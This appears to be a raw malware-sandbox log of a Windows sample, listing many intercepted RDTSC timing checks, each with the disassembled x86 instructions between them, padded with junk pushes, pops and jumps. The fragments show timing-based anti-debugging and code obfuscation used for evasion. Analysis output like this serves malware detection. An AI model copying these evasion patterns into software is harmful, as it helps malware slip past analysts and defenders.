Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145C7D second address: 1145CC2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F227C7FC3D6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F227C7FC3F1h 0x00000012 jmp 00007F227C7FC3E9h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F227C7FC3E1h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145CC2 second address: 1145CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145E35 second address: 1145E45 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F227C7FC3D8h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145E45 second address: 1145E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145E49 second address: 1145E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114ED37 second address: 114ED3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EFD8 second address: 114EFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EFDC second address: 114EFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EFE0 second address: 114EFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F227C7FC3DBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114EFF1 second address: 114F005 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F227C74F4AFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F2EA second address: 114F2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007F227C7FC3D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F829 second address: 114F833 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F227C74F4A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F833 second address: 114F83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCC2 second address: 114FCC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCC8 second address: 114FCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F227C7FC3D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F227C7FC3E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FCED second address: 114FD0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F227C74F4AEh 0x0000000d push edi 0x0000000e js 00007F227C74F4A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11576F0 second address: 11576F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11576F4 second address: 1157722 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F227C74F4A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F227C74F4A6h 0x00000011 jnl 00007F227C74F4A6h 0x00000017 pop eax 0x00000018 jnl 00007F227C74F4ACh 0x0000001e je 00007F227C74F4A6h 0x00000024 jp 00007F227C74F4AEh 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156574 second address: 115657C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115657C second address: 1156599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F227C74F4A6h 0x0000000a jmp 00007F227C74F4AAh 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156599 second address: 11565BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F227C7FC3E9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11565BB second address: 11565C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A6D8 second address: 111A7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F227C7FC3D6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c mov dword ptr [esp], ebx 0x0000000f mov cx, di 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov edx, eax 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 jmp 00007F227C7FC3E3h 0x00000027 mov dword ptr [ebp+124803E8h], esp 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F227C7FC3D8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 sbb edi, 2A3508B6h 0x0000004d mov edx, dword ptr [ebp+122D29FDh] 0x00000053 cmp dword ptr [ebp+122D2C1Dh], 00000000h 0x0000005a jne 00007F227C7FC49Fh 0x00000060 jmp 00007F227C7FC3E7h 0x00000065 mov byte ptr [ebp+122D291Bh], 00000047h 0x0000006c mov edx, dword ptr [ebp+122D2A7Dh] 0x00000072 mov eax, D49AA7D2h 0x00000077 mov edx, dword ptr [ebp+122D2ECEh] 0x0000007d nop 0x0000007e jmp 00007F227C7FC3DEh 0x00000083 push eax 0x00000084 pushad 0x00000085 push eax 0x00000086 push edx 0x00000087 jmp 00007F227C7FC3E5h 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111A7A7 second address: 111A7C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111AEF7 second address: 111AF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F227C7FC3D8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 jmp 00007F227C7FC3DEh 0x00000018 pop eax 0x00000019 mov eax, dword ptr [eax] 0x0000001b push ecx 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7839 second address: 10F783F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F783F second address: 10F7847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7847 second address: 10F7853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F227C74F4A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115726D second address: 1157278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F227C7FC3D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157278 second address: 1157285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157285 second address: 1157289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157289 second address: 115728F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115728F second address: 115729C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115729C second address: 11572AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F227C74F4A6h 0x0000000a jnc 00007F227C74F4A6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115FA87 second address: 115FA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115FA8D second address: 115FA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115FA92 second address: 115FA97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115FA97 second address: 115FAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F227C74F4A6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d jno 00007F227C74F4A8h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 ja 00007F227C74F4A6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115FAB8 second address: 115FABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115FABC second address: 115FAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F227C74F4B2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E403 second address: 115E40C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E40C second address: 115E41B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E41B second address: 115E431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E1h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E431 second address: 115E437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E5A2 second address: 115E5A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E5A8 second address: 115E5C1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F227C74F4A6h 0x00000008 jmp 00007F227C74F4ABh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E72A second address: 115E72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E72F second address: 115E746 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F227C74F4B2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EA5E second address: 115EA7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C7FC3E2h 0x00000009 jne 00007F227C7FC3D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EA7A second address: 115EA7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EC09 second address: 115EC23 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F227C7FC3DDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EC23 second address: 115EC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a jc 00007F227C74F4A6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F227C74F4ADh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F200 second address: 115F20C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F20C second address: 115F211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F211 second address: 115F22F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F227C7FC3E7h 0x00000008 pop ebx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F3B6 second address: 115F3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F506 second address: 115F524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F227C7FC3D6h 0x0000000a popad 0x0000000b jmp 00007F227C7FC3DBh 0x00000010 jc 00007F227C7FC3E2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115F524 second address: 115F52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162CF1 second address: 1162D07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E1h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165915 second address: 116591F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F227C74F4A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165A7C second address: 1165AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3DBh 0x00000007 jmp 00007F227C7FC3E8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F227C7FC3D6h 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165AAD second address: 1165AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165AB1 second address: 1165AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165AB9 second address: 1165AE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F227C74F4ABh 0x00000008 pop edx 0x00000009 jg 00007F227C74F4B9h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165AE8 second address: 1165B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F227C7FC3E9h 0x0000000b jmp 00007F227C7FC3E9h 0x00000010 popad 0x00000011 jmp 00007F227C7FC3E9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165CB6 second address: 1165CC0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F227C74F4A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165CC0 second address: 1165CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165CC6 second address: 1165CCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168035 second address: 116805E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F227C7FC3E8h 0x0000000c jmp 00007F227C7FC3DAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116805E second address: 1168064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BFCF second address: 116BFDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BFDA second address: 116BFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172F5E second address: 1172F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172F62 second address: 1172F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172F66 second address: 1172F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C7FC3DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F227C7FC3DCh 0x00000011 jmp 00007F227C7FC3E5h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172F9D second address: 1172FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172FA2 second address: 1172FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172FA8 second address: 1172FAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172FAC second address: 1172FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F227C7FC3D6h 0x0000000d je 00007F227C7FC3D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117197D second address: 117198B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C74F4AAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117198B second address: 117198F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171F32 second address: 1171F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F227C74F4ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B387 second address: 111B399 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F227C7FC3DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11720B2 second address: 11720B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11720B8 second address: 11720C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F227C7FC3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117221F second address: 1172223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172223 second address: 1172229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172229 second address: 117225B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F227C74F4ADh 0x0000000b jmp 00007F227C74F4B8h 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11770AF second address: 11770D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F227C7FC3E9h 0x0000000a pushad 0x0000000b jp 00007F227C7FC3D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11770D6 second address: 11770DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11770DC second address: 11770F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F227C7FC3DCh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11770F7 second address: 1177104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F227C74F4A8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177104 second address: 117710A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11765D5 second address: 11765D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11765D9 second address: 11765E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
